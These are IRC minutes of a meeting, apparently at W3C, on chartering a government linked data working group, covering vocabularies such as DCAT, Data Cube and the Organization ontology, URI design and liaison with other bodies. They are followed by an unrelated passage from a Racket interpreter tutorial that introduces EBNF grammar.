<sandro> timbl: Have you looked at Open Street Map as a source of geospacial?
<sandro> timbl: linkedgeodata.org is a LD mirror of it.
<sandro> tb: I'll take a look at that.
<sandro> timbl: I'm told open streetmap is a better source of data than geonames
<sandro> tb: We use SCOVO or env. specimen bank, and some extensions. SDMX data came along.
<sandro> Jeni: We've looked at using SDMX -- just using the datacube part looks good, as a midpoint between SCOVO and SDMX.
<sandro> tb: We used the specialized subproperties of dimensin
<sandro> jeni: Yes
<sandro> tb: In skos-xl, class literals, so you can link labels.
<sandro> tb: inflectional forms of one word, extended properties of label class.
<timbl> For an RDF mapping see LinkedGeoData.org
<sandro> tb: you could talk about this for years, we never came to an end.
<sandro> tb: (slide 18)
<sandro> tb: SPARQL end points -- can easily give accidental Denial of Service attack. :-)
<sandro> tb: but providing SPARQL would be nice.
<sandro> tb: authentication and access control would be good.
<timbl> (or a default limit =1000 for non-authenticated users)
<sandro> sandro: 4store includes a built-in resource limit, but default
<sandro> fabien: we built in a default limit, although that can confuse users who dont know about it.
<sandro> tb: This is good advice
<Vagner-br> TB has joined #egov
<JeniT> sandro: using same model as RDF Core Work Items list
Sandro: inspiration for methodology here is the RDF Core
<JeniT> sandro: four categories for the work items
<JeniT> sandro: 1. helping deployment happen
<JeniT> sandro: 2. liaison items such as provenance & named graphs
<JeniT> sandro: 3. vocabulary items
<JeniT> sandro: 4. other technical development work items such as design patterns for URIs
<JeniT> sandro: promised charter by end of January
<JeniT> sandro: would mean start in April, running for two years
<JeniT> sandro: expect F2F meetings to be useful but hard for people to travel, so may try split F2F meetings
<JeniT> ... video conferencing between two places
<JeniT> ... to specific work items:
<JeniT> ... 2.1 Procurement Definitions
<JeniT> ... @johnlsheridan mentioned that this is an issue
<JeniT> ... having standardised definitions of terms/products to include this in ITTs etc
<JeniT> PhilA: something that is very important for government procurement
<JeniT> ... similar to WCAG guidelines, governments can point to them and say 'you must produce according to these standards'
<JeniT> FabGandon: would this include success stories?
<JeniT> ... real scenarios?
<JeniT> Sandro: not in this piece
<JeniT> Sandro: beautiful license out of UK
<JeniT> ... could be understood as a human
<JeniT> ... is there something we can do internationally?
<JeniT> ... having a list of licenses used in different countries?
<JeniT> FabGandon: I've been using double licensing
<JeniT> ... RDFa/GRDDL profile was licensed LGPL and a french license
<JeniT> Sandro: yesterday Daniel talking about getting bicycle accident data
<JeniT> ... had to sign a paper license
<JeniT> ... included things to say that he had to keep his application up to date
<sandro> vocab for describing licenses
<sandro> sandro: let me query for datasources I;m allowed to use for my app
<JeniT> FabGandon: something to indicate where licenses are roughly equivalent
<sandro> jeni: maybe some recommendations about what makes a good license for gov data --- allowing reuse
<sandro> jeni: guidance for licenses which enable the right kind of use
<JeniT> Sandro: 5-10 page note maybe?
<JeniT> Sandro: is this W3C says this or just the working group says this?
<JeniT> PhilA: be hard to have a recommendation for licenses
<JeniT> ... but a recommendation carries more weight
<JeniT> ... how would you include two independent implementations?
<JeniT> Sandro: two governments that follow the practices
<JeniT> ... might make sense to have it as one of several points within a recommendation
<JeniT> ... need the WG to work out what granularity of documents they want
<JeniT> Sandro: 2.3 Community Survey
<JeniT> ... self-sustaining database of vendors
<JeniT> PhilA: would this include apps that use the data?
<JeniT> Sandro: wasn't thinking so but data consuming systems would be good
<JeniT> ... the hardest part is to make it self-sustaining
<JeniT> FabGandon: only example that comes to mind is Semantic Web Tool Wiki page
<JeniT> ... but you're talking about a real database
<JeniT> Sandro: it could be a wiki page, but there are some people who aren't happy with that
<JeniT> ... would give WG freedom to decide how to do it
<JeniT> PhilA: why do you care that this gets done?
<sandro> sandro: it's more important that this is done than that ie be a demo.
<JeniT> PhilA: about the whole government linked data thing
<JeniT> Sandro: got a very enthusiastic yes from the AC
<JeniT> PhilA: building community is very important
<JeniT> ... how far does it go?
<JeniT> ... it's hard to keep it coherent and up to date
<JeniT> ... high hurdle for WGs
<JeniT> Sandro: these lists tend to atrophy
<JeniT> FabGandon: only successful example is this wiki page, because it survived the group that started it
<JeniT> Sandro: even if it doesn't survive the group, the list working for a year or two would be very useful
<JeniT> PhilA: certainly as the group is going
<sandro> jeni: make it be a resource for the WG as it's runnig.
<JeniT> Sandro: would hope that it could aim to be potentially self-sustaining
<sandro> jeni: It should be a success just to have it run during the live of the wg.
<JeniT> PhilA: would hope that at the end someone would want to pick it up and continue with it, but it would not be a failure of the WG if that didn't happen
<JeniT> Sandro: maybe the mediawiki solution is good enough in that case
<JeniT> ... fairly dogfoody, even if RDF is not very linked data
<JeniT> ... helps us make sure that we know who to ping to try to get public review of our specs
<JeniT> ... and is useful to the communities
<JeniT> Sandro: 2.4 Cookbook or Storybook
<JeniT> FabGandon: yes, scenarios and success stories
<JeniT> ... when I talk to people in public sector, as a researcher they think everything I say is science fiction
<JeniT> ... I want a place to point them
<JeniT> PhilA: would that be the equivalent of a use cases document?
<JeniT> FabGandon: use cases aren't always implemented, scenarios are things that are already deployed
<JeniT> ... using UK a lot for this
<JeniT> PhilA: but this would be early input to the group
<JeniT> FabGandon: making them visible in a document gives me something to point to
<JeniT> ... there are best practices
<JeniT> Sandro: use cases tend to abstract from scenarios
<JeniT> FabGandon: GRDDL use cases were a fiction
<JeniT> PhilA: I'm expecting WG to come up with best practices and recommendations
<JeniT> ... need to have scenarios as input for that
<JeniT> ... same function as use cases
<JeniT> Sandro: a product of WG is to have gathered a collection
<JeniT> ... could be written by people associated with scenarios, if we can get them to do it
<JeniT> ... not sure about stories about failures
<JeniT> PhilA: having stories about failure are really useful
<JeniT> ... being able to talk about failures in a constructive way
<JeniT> Sandro: may be hard to do that in published writing
<JeniT> ... but worth a try
<JeniT> Sandro: 3.1 Provenance
<JeniT> ... been incubator running for a year
<JeniT> ... final year is going to recommend WG
<JeniT> ... suspect that there will be one in the next 6 months
<JeniT> ... this group interacting with that group would be useful
<JeniT> Sandro: 3.2 Named Graphs
<JeniT> ... similarly, this interacts with provenance
<JeniT> Sandro: 3.3 POI WG
<JeniT> ... not sure how much government geography is addressed by this
<JeniT> ... think it's just going to be lat/long + polygons
<JeniT> PhilA: I ran workshop that led to POI WG
<JeniT> ... going to be struggle to get them to acknowledge linked data exists
<JeniT> ... one guy from DERI trying to get them to think about it
<JeniT> ... augmented reality main group
<JeniT> ... will need active steering to ensure liaison
<JeniT> Sandro: need a person in both groups
<JeniT> ... I was being optimistic about RDF vocabulary
<JeniT> PhilA: yes, very
<JeniT> ... as interested in moving objects as static
<JeniT> ... and motion in relative direction
<JeniT> Sandro: in worst case, someone could take formal model and map to RDF
<JeniT> Sandro: probably other liaisons I've forgotten
<JeniT> ... SPARQL?
<JeniT> ... don't know exactly what dependency looks like
<JeniT> ... are there any outside of W3C?
<JeniT> ... organisations doing some close to GLD?
<JeniT> PhilA: need people from data.gov from different countries
<JeniT> Sandro: hoping that they get involved in the working group
<JeniT> ... thinking about peer organisations
<JeniT> ... normally have standards, vendors & other standards bodies
<JeniT> FabGandon: wonder if relying on local offices to synchronise locally
<JeniT> ... W3C office in Paris will be good point of synchronisation
<JeniT> ... of communicating, diffusing, making sure right people are aware
<JeniT> PhilA: not just national governments
<JeniT> ... colleague talking to Helsinki, Berlin, city authorities
<JeniT> ... not just national governments, but local ones as well
<JeniT> Sandro: check with OASIS and OMG and usual suspects
<JeniT> Thomas: INSPIRE and OGC?
<JeniT> ... they are doing something not so different, but with URNs and XML
<JeniT> ... someone would have to write a technical spec for RDF
<JeniT> Sandro: is there funding available if someone has the skills to do it?
<JeniT> Thomas: it's a EU directive, and each government has people who are working on it
<JeniT> Sandro: seems like the kind of thing that a university might do
<JeniT> Sandro: is it a good model that anyone else might be interested in?
Jeni: Stuart Williams is working with the UK end of INSPIRE to do some mapping of the object modles into RDF
<JeniT> Thomas: harmonising on what each member should provide on each topic
<JeniT> ... they have a dozen themes
<JeniT> ... mandatory data items on each theme
Stuart Williams, formerly of HP, TAG member, now at Epimorphics, Bristol-based Sem Web consultancy
<JeniT> ... we shouldn't care about domain-specific things
<JeniT> ... we could get a huge mass of more data if we mapped into RDF
<JeniT> ... get a lot of benefits from organisational power of INSPIRE
<JeniT> PhilA: the one bit of data that sticks in my head
<JeniT> ... is target for implementation is 2018
<JeniT> ... so don't want to depend on INSPIRE
<JeniT> ... this group would inspire INSPIRE
<JeniT> ... W3C is known to be slow, but we're faster than that!
<sandro> OGC
<JeniT> Thomas: there are many agencies publishing data using OGC services
<JeniT> ... maybe better to talk about SDI
<sandro> spacial data infrastructure
<JeniT> ... they have a G (Global) SDI conference every year
<JeniT> ... have questions about how to publish this in RDF
<JeniT> ... all fragmentary contributions
<JeniT> ... would be a different level
<JeniT> ... they have a catalogue service web, like DCAT
<JeniT> Sandro: is OGC a reasonable way to interact with them?
<JeniT> ... they are W3C members
<JeniT> ... we might be able to get them to participate in a liaison capacity
<JeniT> Thomas: geoSPARQL is one of these topics
<JeniT> ... encoding of sensor observation services in RDF
<JeniT> ... these are ongoing activities
<JeniT> ... not specific for government, but INSPIRE is
<JeniT> Sandro: every nation has a lot of legal issues around geographical information
<JeniT> Thomas: this is one of the things, that you describe the data that you will sell
<JeniT> ... I used to talk about linked data
<JeniT> ... not talking about LOD any more, because we shouldn't exclude non-open data
<JeniT> FabGandon: And accessing the data from my company I have access to things on the intranet
<JeniT> Sandro: these are good pointers, but I'm not sure what it makes sure to do in this charter
<JeniT> ... my thought was that POI would take care of it, but I guess not
<JeniT> JeniT: feels like a rat hole
)
<JeniT> Sandro: we can make it in scope, out of scope, or get the WG to decide
<JeniT> FabGandon: think it's difficult to rule out geographic data in a government data charter
<JeniT> ... so many scenarios where you need geographical data
<JeniT> PhilA: some liaison would be useful
<JeniT> ... 'we will liaise with POI WG, and be aware of other work going on in this area, but not core duty of GLD WG to codify'
<JeniT> FabGandon: going to be the same with temporal data representation
<JeniT> ... want to say that 'this data is only valid for this financial year'
<JeniT> ... another rat hole
<sandro> PhilA: "We think this is important, and we'll liaise, but we wont develop a vocab for geo"
<JeniT> ... good part is that you don't have proprietary aspects
<JeniT> ... again needs liaison with people in time data
<JeniT> PhilA: this is relevant for POI, because important in crisis management
<JeniT> FabGandon: we have someone who may be involved in this aspect
<JeniT> Sandro: The next two groups were vocabulary and non-vocabulary technical items
<JeniT> ... I had some idea of doing vocabularies later, but let's proceed in order
<JeniT> ... TimBL at dinner last night said something...
<JeniT> ... I had always envisioned that W3C would write the vocabulary, document it and so on
<JeniT> ... but TimBL said that if foaf:name is what people should use, we can say in the W3C Recommendation that that's what people should use
<JeniT> ... but we could set a bar for what we mean for a 3rd party vocabulary
<JeniT> ... and if FOAF can get over that bar
<JeniT> ... then that's fine
<JeniT> PhilA: we wanted to use FOAF
<JeniT> ... and if DanBrickley goes under a bus, the server goes with him
<JeniT> ... (this is in POWDER)
<JeniT> ... got around it by using Dublin Core
<JeniT> ... we had conversations for ages about this, about how FOAF could become more stable
<JeniT> ... doesn't have an organisation behind it
<JeniT> ... could W3C manage it? no
<sandro> jeni: I think there are some important things here, around check boxes for what vocabs we will trust.
<sandro> ... lots of stuff around the org behind it, documented policy on change control, ... it would be useful to document these up front. THESE ARE THE THINGS WE EXPECT A GOOD VOCAB TO DO.
<JeniT> Sandro: going meta, aside from the terms that we recommend...
<JeniT> ... this is going to be useful for Governments as well
<JeniT> ... to help Governments to identify which vocabularies they can use
<JeniT> ... could be GLD or could come from somewhere else
<sandro> jeni; Wider LD cloud might not care so much about stability. Academic projects don't mind so much.
<sandro> fabien: France wont use schemas of the UK.
<JeniT> PhilA: going to be a problem all over
<JeniT> ... W3C isn't designed to manage vocabularies
<JeniT> FabGandon: scalability problems as well
<JeniT> ... only standardise what's domain independent
<JeniT> ... can standardise provenance
<JeniT> ... cannot standardise biology ontology
<JeniT> ... this changes things a little bit
<JeniT> ... here we're crossing that line a bit
<JeniT> Thomas: we don't have to standardise geographical vocabulary, just specifying serialisation
<JeniT> FabGandon: there could be a well-known XML vocabulary, just provide RDFS version
<JeniT> PhilA: I think purls provide the way out of this
<JeniT> ... if it can't be on w3.org
<JeniT> Sandro: I wouldn't say it can't be on w3.org
<JeniT> ... there's the organisation vocabulary
<JeniT> ... @der42 approached TimBL to host it
<JeniT> ... there's a maintenance headache that comes with that
<JeniT> ... this is something TimBLs been pushing a long time
<JeniT> ... I've been pushing this for a long time too
<JeniT> PhilA: the person to convince is Ted Gild
s/Gild/Guild/
<JeniT> Sandro: vocabulary hosting in general is a huge issue for governments
<JeniT> FabGandon: more important than in any other domain
<JeniT> Sandro: I've been advocating that someone like IBM should get into the vocabulary hosting business
<JeniT> PhilA: same issue with Talis hosting it: we're a commercial company!
<JeniT> Sandro: so you get what you pay for
<JeniT> ... could pay a company to host it for a period of time
<JeniT> PhilA: we would host the stuff with a purl pointing to it
<JeniT> ... the purl points somewhere else if Talis goes under a bus
<JeniT> Sandro: I would say domain name per vocabulary
<JeniT> ... foaf.org rather than xmlns whatever it is
<JeniT> ... that gives the most flexibility
<JeniT> PhilA: govvocabulary.org/2010 or whatever
<JeniT> Sandro: but then you bind together several vocabularies in one organisation
<JeniT> ... if they are controlled by different people then you don't want them on the same domain name
<JeniT> PhilA: it's an issue because of neutrality
<JeniT> ... FOAF is a good example
<JeniT> Sandro: were you serious, Fabien, when you said that France wouldn't use any UK vocabularies?
<JeniT> FabGandon: I haven't checked, I know the reaction about hosting the data
<JeniT> ... wouldn't be surprised if French objected
<JeniT> ... issue with internationalisation as well
<JeniT> Sandro: would hope that any vocabulary provider would accept translations
<JeniT> PhilA: but who guarantees translation is accurate
<JeniT> FabGandon: in EU, have whole process of maintaining translation of different documents
<JeniT> PhilA: if you had a vocabulary that had anything but a .com, .org ending...
<JeniT> ... no way Americans would accept that
<JeniT> Sandro: end up using .com, .org or .net for the vocabularies
<JeniT> Sandro: 4.1 Metadata for Data Catalogs
<JeniT> ... no brainer that we want to move along DCAT in this group
<JeniT> ... had an interest group telecon with @cygri
<JeniT> ... wanted to spin off taskforce to do it
<JeniT> ... had large group that quickly dwindled
<JeniT> ... stopped entirely when Semtech came around, and didn't start up again
<JeniT> ... lots of interest there
<JeniT> ... bit question is does it end up as WG Note, as a Recommendation, as a pointer to something else?
<JeniT> FabGandon: how specific is it to eGov?
<JeniT> Sandro: right now taskforce in eGov IG
<JeniT> ... in doing taskforce charter
<JeniT> ... said clearly applicable beyond government
<JeniT> ... but let's take narrower scope for now
<JeniT> ... can see that it could be broader
<JeniT> FabGandon: it could even be a task of the new RDF WG
<JeniT> Sandro: I think it's too late to go there now
<JeniT> ... or in the provenance WG
<JeniT> ... someone asked what's the difference between provenance and DCAT
xLooking at
<JeniT> PhilA: one thing that is missing is refresh rate
<JeniT> JeniT: think that's part of VoiD
<JeniT> PhilA: ah right
<sandro>
<JeniT> ... Alex Tucker has done RDF dump of CKAN data
<JeniT> Sandro: Wiki page includes use cases, deliverables, minutes and participants: 28 participants
<JeniT> ... huge amount of interest
<JeniT> ... reminded that Thomas was listening
<JeniT> Thomas: got a little bit bored...
<JeniT> ... did so much work on data catalogs in Germany...
<JeniT> ... ended up disappointing because no one used it
<JeniT> ... idea of having one data catalog as an access point is not a priority
<JeniT> ... in linked data domain discovery is following links
<JeniT> ... not looking at catalogs
<JeniT> ... it's OK, we need it, but...
<JeniT> Sandro: you don't need 28 people to design a vocabulary
<JeniT> ... you want 3 people to do the work, and wide review
<JeniT> ... you don't want big telecons with everyone who cares
<JeniT> ... in general that's going to be true
<JeniT> ... sometimes there will be issues that you want discussion for, but a lot is design by a small group
<JeniT> PhilA: I still think in terms of best practice document
<JeniT> ... say 'use DCAT and VoiD to describe your catalog'
<JeniT> Thomas: how is VoiD involved?
<JeniT> Sandro: DCAT can be for non-RDF data, VoiD for RDF data
<sandro> jeni: Some vocab (dcat) is about EVERY data set, and then some other vocabs are for certain kinds of data (eg geo about geo data, void about RDF data)
<sandro> PhilA: Neither void nor dcat covers refresh rate.
<JeniT> Sandro: I've never heard anyone assess quality or suitability of VoiD
<JeniT> ... only game in town
<JeniT> ... if we're going to recommend a vocabulary, in a recommendation
<JeniT> ... then we need implementation experience
<JeniT> ... which includes going through to consumers
<JeniT> Thomas: VoiD has been designed without DCAT in mind
<JeniT> ... so didn't care about separation of concerns
<JeniT> ... I think someone has to make a new version of VoiD, to fit in
<JeniT> Sandro: we could ask @cygri whether he thinks a new version of VoiD is needed
<JeniT> ... another thing on DCAT is I don't know how it relates to CKAN
<JeniT> ... I don't know how happy CKAN were with it
<JeniT> ... another force in play is the Sunlight Foundation in the US
<JeniT> ... they have done national data catalog that combines Federal, State and Local levels
<JeniT> JeniT: do you need input about what to put in the charter?
<JeniT> Sandro: I feel we should say a W3C Recommended vocabulary along the lines of DCAT
<JeniT> PhilA: so the group would create and maintain the vocabulary
<JeniT> Sandro: I think DCAT should enable multiple catalogs, for a decentralised system
<JeniT> ... each catalog should describe itself using DCAT
<sandro> s/catalog/data source/
<JeniT> JeniT: there's the set of terms (Dublin Core + DCAT + VoiD etc) and the namespace for DCAT
<JeniT> FabGandon: when you look at FOAF, FOAFomatic really helped encourage its use
<JeniT> Sandro: OKFN has a form where they're asking people to fill out questionnaire about their government data
<JeniT> ... be nice if it gave back RDF
<JeniT> PhilA: keen to do outreach as well
<JeniT> ... ideally as part of this working group
<JeniT> ... important part of the implementation
<JeniT> Sandro: OK, add under Procurement Assistance
<JeniT> BREAK TIME UNTIL 16:00
<FabGandon> scribe: FabGandon
resuming on vocabularies.
scribe: JeniT: what are the next stages?
Sandro: next stage is identify
what can be done within the WG charter/timespan/force
... avoid shoot for too little or too much.
... identify what can be done in other TF / WG.
... for vocs we could work on the basis of having an identified editor for each voc.
<sandro> sandro: maybe the vocabs will each be time-permitting / nice-to-have
<JeniT>
JeniT: Organization Ontology
<sandro> JeniT: foaf and vcard exist
JeniT: Dave Reynolds put that
together because nothing was putting togerther what we needed
about Org.
... so we took that and extended that for UK gov.
Sandro: this is reusable in other organizations.
PhilA: very UK centric.
Sandro: this should be blessed by W3C for others to use
PhilA: an Org.org schema :-)
<martin> In Spain, we use it, and it was OK for our purpose (city council and departments)
JeniT: change event is used to capture a change in an Organization, it is hook
<sandro> JeniT: changeEvent hook for saying org1+org2 => org3
Vagner-br: very useful to follow changes in structures and names, acronyms, etc.
PhilA: does your national library archives web sites?
<JeniT> FabGandon: In France, we have law that says we must archive every French official media channel
<JeniT> ... and we don't know how to do that
Sandro: question of ontology engineering process and the way to go for a new voc.
tban: I wouldn't use UML, this is
not object-oriented work
... I use TopBraid composer
... nice figures.
... Richard came up with SDMX but not enough sem. web oriented.
JeniT: we work with Richard on that because SDMX is important in the statitician community
<sandro> jeni: ONS used SDMX already, so it was opportunistic for us to use it.
JeniT: SDMX is hard but may be necessary.
Sandro: we haven't solve the evolution story of how we move from a voc to the next.
JeniT: also hard to know when a
voc is stable enough to be really used.
... check list of what you expect from a voc.
<sandro> jeni: checklist item: have documentation which is good, have ref guide, examples, etc
JeniT: e.g. it must have ref guide, examples, managed by an org with a longevity, etc.
PhilA: for FOAF for instance the longevity of the domain is a problem.
<JeniT> FabGandon: reading through the minutes yesterday, there's a good thing happening in eGov in that we have very stable bodies involved
<JeniT> ... INRIA is a government institute
<JeniT> ... so we have hosting that is very stable
<JeniT> ... people believe we will continue to exist
<JeniT> ... won't want to use a namespace hosted by the UK
<JeniT> ... but one hosted by a government would have longevity
<JeniT> ... We tried several things, including knowledge engineering approach
<JeniT> ... tried VoCamp approach, where people come with a need for a vocabulary
<JeniT> ... break up in small groups and hack
<JeniT> ... some of these were successful
<sandro> FabGandon: We tried Knowledge Engineering - limits, VoCamp fairly successful, ...
<JeniT> ... depends on scope of vocabulary
Sandro: this a question for the
chairs and the group.
... any other org ontology.
JeniT: there is a blog post from Dave
<sandro> sandro: I'll just link to DER's blog post, with its references
<JeniT>
<sandro> tb: what about sameAs inflation?
tban: the inflation of sameAs,
and misuse of sameAs.
... I wouldn't sameAs, but what else.
<sandro> tb: mapping vocab like skos but without inferring it's a skos concept.
<JeniT> FabGandon: subClassOf subPropertyOf also used in alignment
tban: provide a mapping voc with only properties and no classes to avoid inferences
<sandro> sandro: bad sameAs is just bad data
<sandro> FabGandon: in datalift, we are thinking about how to do mapping, from sameAs onto procedural declaration.
<sandro> FabGandon: okaam huge eu project on this -- efficient sameAs resolution for semweb. give uri, it gives back ones which might be equivalent.
<sandro> FabGandon: (let's stay away from this...)
tban: when we try to link e.g GEMET and German Thesaurus we need the same in SKOS without domain and range.
<sandro> jeni: a school is not a skos:Concept according to the SKOS spec
<sandro> sandro: skos is just broken. :-(
JeniT: same name for a local authority vs. the area
Sandro: you need to formalize properly.
tabn: we should include the problems aboout alignment to be discussed in the charter
JeniT: if RDF 1.1 don't want to do it we have to come up with a convincing scenario
Sandro: the key thing for people is to see if we can stabilize FOAF.
<sandro> jeni: important to understand how foaf works with vcard
tban: what about foaf+ssl?
JeniT: I wondered if we should include something about identitity in the eGov WG.
<sandro> 4.4 Statistical/Data Cube Datasets
sandro: statistical, so far there is a sub-set of SDMX
<sandro> sandro: I'm hearing there's a subset of SDMX, cube, that's pretty good.
<JeniT>
<sandro> PhilA: It's good for describing what you see in CSVs.
PhilA: the cube ontology is good to describe the sort of data you find in CSV file.
JeniT: Cube comes from the
hypercube structure of the data.
... an observation is a cell in the cube
... each dataset is described by a dataset def
... for statistical data, payment data, etc. any thing you put in a Spreadsheet
... we use it a lot
sandro: how can be sure this meets most needs?
<sandro> sandro: if we make this a Rec, who might object? Among people who buy into SDMX & RDF already....
<sandro> PhilA: Statisticians might find this reduces too much.
Sandro: if we need more of SDMX can we extend it?
<sandro> Jeni: that was the goal, yes.
JeniT: yes it was designed to be extended
tban: we use it for measurment data
JeniT: we wanted to publish statistic for a larger audience than the statistician community
sandro: if we want to change these schema, how do we do that? what would be the process?
JeniT: feel free to take it !
sandro: it rare that somebody
does this kind of work and does follow it as an editor of the
Rec.
... Data Cube seems important.
<sandro> [edit] 4.5 Data Quality, Timeliness, Status
JeniT: I am sure that voiD as something about temporal validity
<sandro> jeni: we use dc:temporal for expressing the temporal range for which the data is true
JeniT: we have our own small voc for that
<sandro> jeni: we use our own data.gov.uk for draft-ness
JeniT: nothing on data quality at the moment
PhilA: can't find this in voiD
JeniT: in must be in RSS then
<sandro> PhilA: Who is responsible for cleaning it up? Who will update it, and when?
PhilA: need to know if the data I am using now will be here tomorrow
<sandro> PhilA: Ooften the data comes from screen-scraping!
PhilA: need to know how often data updated
<sandro> FabGandon: This is in Provenance -- an expiration
JeniT: this is new work probably
<sandro> JeniT: I think this is new work, much less baked than data cube
sandro: the WG could provide such voc.
JeniT: it fits under dcat
<sandro> jeni: This goes under dcat -- it applies to data sets.
<sandro> FabGandon: Granularity might be small -- some bit of the data changes often, some bit doesn't.
<sandro> FabGandon: this might not be about the dataset, it might be about one subgraph within the dataset.
<sandro> tb: In the Gazettier, when we have changes in communities, merging, the official service just drops the old communities. We don't drop them, we mark them expired.
<sandro> tb: dcat should describe your policies about such things.
tban: the policy should be also described on the dcat level.
sandro: the granularity problem
might be more general with dcat and dataset.
... granularity can be a political game.
<sandro> sandro: so if dcat can handle the gran. then this can be folded in.
<sandro> 4.6 Assumptions/Basis/Comparability of Data
JeniT: we need to know if we can compare two values.
<sandro> jeni: In statistical data they really care if you can compare two values, because defn of some bit in your data changed.
JeniT: e.g. after a policy change.
<sandro> JeniT: annotate a qb:observation to say this is not comparable, etc.
<sandro> JeniT: Vocab for classiying these kinds of annotations
PhilA: we have a 10 month data vs. an 11 month data
tban: different methods in differents countries.
<sandro> tb: lining maps up between country, INSPIRE Harmonization effort.
<sandro> FabGandon: The notion of an unemployed person in France is totally different than in some other countries -- not comparable.
JeniT: encourage people to use different terms when they use different notions
<sandro> JeniT: Sometime you just mean datafr:unemployment has a different URI than datauk:unemployment
JeniT: there may be some matches but when we use the same URI it IS the same thing
<sandro> JeniT: this is more about same vocab, same dimension, ... this is to annotate where it's different.
JeniT: at least we should be able to say "this is a statement about comparability".
<sandro> JeniT: This is for categories of ways to annotate observations.
tban: using different URIs is different from using different terms.
sandro: no candidate voc on that right now?
<JeniT>
JeniT: some of the SDMX voc may
be relevant
... Dave has mapped those onto a voc which could be a candidate
<JeniT>
<sandro> [edit] 4.7 Describing Visualization and Presentation
<sandro> fresnel
<sandro> sandro: not hearing a lot of interest/experience on this one.
<sandro> FabGandon: Fresnel has a huge potential
sandro: design pattern for URIs
<sandro> 5.1 Design Patterns for URIs
JeniT: updated version:
<JeniT>
JeniT: it takes a different kind of angle.
sandro: huge design space, how
much we want to expand or focus the design space
... should we give all the options or pescribe some good practices?
<sandro> PhilA: use of id, 303 to doc, SHOULD be in LD
<PhilA> I mean - the pattern breaks down as
<sandro> JeniT: sayig do 4.2 from coolURIs
<PhilA> {sector}.data.gov.uk/id/{department}/unique_identifier
JeniT: sometimes the pattern does work well
<PhilA> If you dereference that, the /id/ gets replaced by /doc/ as part of the HTTP 303 (see other) response, and that leads to a document that describes the original identified thing
.
JeniT: we used # URIs depending on the dataset.
<sandro> JeniT: just using pattern 4.2 doesn't always work well.
JeniT: not simple to just say use that pattern.
<sandro> FabGandon: need keys :-
<sandro> FabGandon: need keys :-)
<sandro> sandro: Just get everyone to mint URIs for themselves :-)
tban: the original URL of TimBL also described what you should not do.
<sandro> tb: '98 cool uris, don't put classifications/datatypes into URI, or other things that would make them change.
<sandro> FabGandon: Don't forget there are scenarios where you want to do the opposite -- to anonymous people.
<sandro> tb: I've come to prefer totally opaque URIs.
tban: generally I prefer URI that don't tell anything by themselves
sandro: what should we do?
<JeniT> FabGandon: it could be 'follow the guidelines of the LOD group'
sandro: one output could be follow 4.2
<sandro> sandro: maybe a flowchart, even!
<sandro> JeniT: I found we needed design patterns not just for schools, but also for vocabs, concept schemes, datasets.
JeniT: we also need design patterns for URIs for schemas
sandro: versioning of dataset crosses with the temporal point before.
<sandro> sandro: shoud I fold this into designing-URI, or timeliness vocab ?
tban: what does versioning mean here, e.g. statiscal data changes every year
<sandro> tb: Every year has year more --- discussion of versioning.
<sandro> tb: verionsing of vocab, too.
<sandro> Jeni: how you design URIs, how you design the data....
<sandro> 5.3 Change Propagation and Notification
<sandro> dady -- dataset dynamic
<sandro> I think of this as protocol,
<sandro> FabGandon: RSS feed of changes -- talis changest vocab
<sandro> JeniT: Sparql push
<JeniT>
<JeniT>
<sandro> seems out of scope
<sandro> JeniT: we need to do it anyway
<sandro> JeniT: (we = data.gov.uk)
PhilA: also about SPARQL Push
JeniT: we need that for data that we are publishing every week
<sandro> JeniT: We'll see data published on a weekly basis, so we need
JeniT: we need to a a design pattern for that
sandro: just publishing the new data is not enough?
JeniT: no
... links back to the named graphs.
<sandro> FabGandon: It's too big for this....
<sandro> 5.4 Distributed Query
sandro: too big to be handled here.
<sandro> same as above -- needs to be done, too big for us.
SPARQL 1.1 has some elements of answer.
<sandro> JeniT: Maybe it goes into procurement guidelines, eg Sparql 1.1 service descriptions suitable fo rhtis
<sandro> 5.5 Developer-Friendly API and Serialization
<sandro> linked-data api
sandro: JSON syntax for RDF should be part of the charter of RDF 1.1
<sandro> PhilA: should be relatively easy to get out the door
<sandro> JeniT: Yes, 3 impls, could be fast, but does need wider review -- eg for impementations.
PhilA: it is manageable and we should pursue this
<sandro> PhilA: this is really important, and doable.
PhilA: important in terms of deployment
sandro: will still exist even if we don't do anything within W3C
PhilA: from a visibility point of you this is important
<sandro> sandro: I'm worried about arbitrary decisions in the design coming back to be a problem in the WG
<sandro> JeniT: the JSON might be a problem.
<sandro> JeniT: I think we're a lot of the way there, but leaning towards its own WG.
PhilA: need to talk about outreach
<sandro> [edit] 2.5 Outreach
PhilA: it needs to happen somehow
<sandro> PhilA: somehow this has to happen, perhaps via EU funding
PhilA: some way to distribute the output of the group among the governments
sandro: counter argument: the
focus of the WG is the how not the why.
... the demos of the "how" will make the job of the people doing the "why" easyer
<sandro> robin: In general, WGs are pretty bad at selling their own stuff, being so involved in the technical work.
<sandro> ... people who were writing great blogs went silent when they joined the WG.
robin: may be outreach should happen outside the WG
sandro: could still be included in the charter.
<sandro> PhilA: marketing is important in making markets
sandro: I don't have any exact data about the number of members for the WG.
<sandro> JeniT: great value to have new folks in WG, so people experience having to explain this stuff
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While you read along, why not try evaluating programs through our interactive interpreter? As usual, the source code for all the work done in this post is available at this blog’s Google Code page. For more information on Racket, see the Quick Introduction to Racket or the more extensive Racket Guide.
Our Very First Language
A journey of a thousand miles starts with adding numbers.
Recall from our introduction that our theoretical design cycle for new features in Chai is as follows:
- Add new syntax forms
- Decide how those forms should be interpreted
So let us implement the most basic language we can imagine, with just two language forms: one for numbers and one for adding numbers. By starting with something so simple, we will have a skeleton of a parser and interpreter to which we may add new features incrementally, and we won’t get bogged down in the details of more complicated ideas.
So let’s decide what programs will look like!
To rigorously define what expressions will look like, we use a nice standard for descriptions called Extended Backus-Naur Form (EBNF). For those familiar with the theory of computation, this is very closely related to the notations for defining context-free grammars. EBNF notation is quite easy to learn by imitation, and we will teach it by example. Our first attempt at a syntax tree might look something like this:
expr = number | (+ number number)
Here the pipe symbol, |, should be mentally replaced with the word “or.” For now, every program will consist of a single “expr,” which is short for expression. In words, an expression can either be a number, or a sum of two numbers. For the sake of this language, we allow “number” to be anything that Racket considers a number (we will get to this soon), and we ignore additional whitespace in between these tokens.
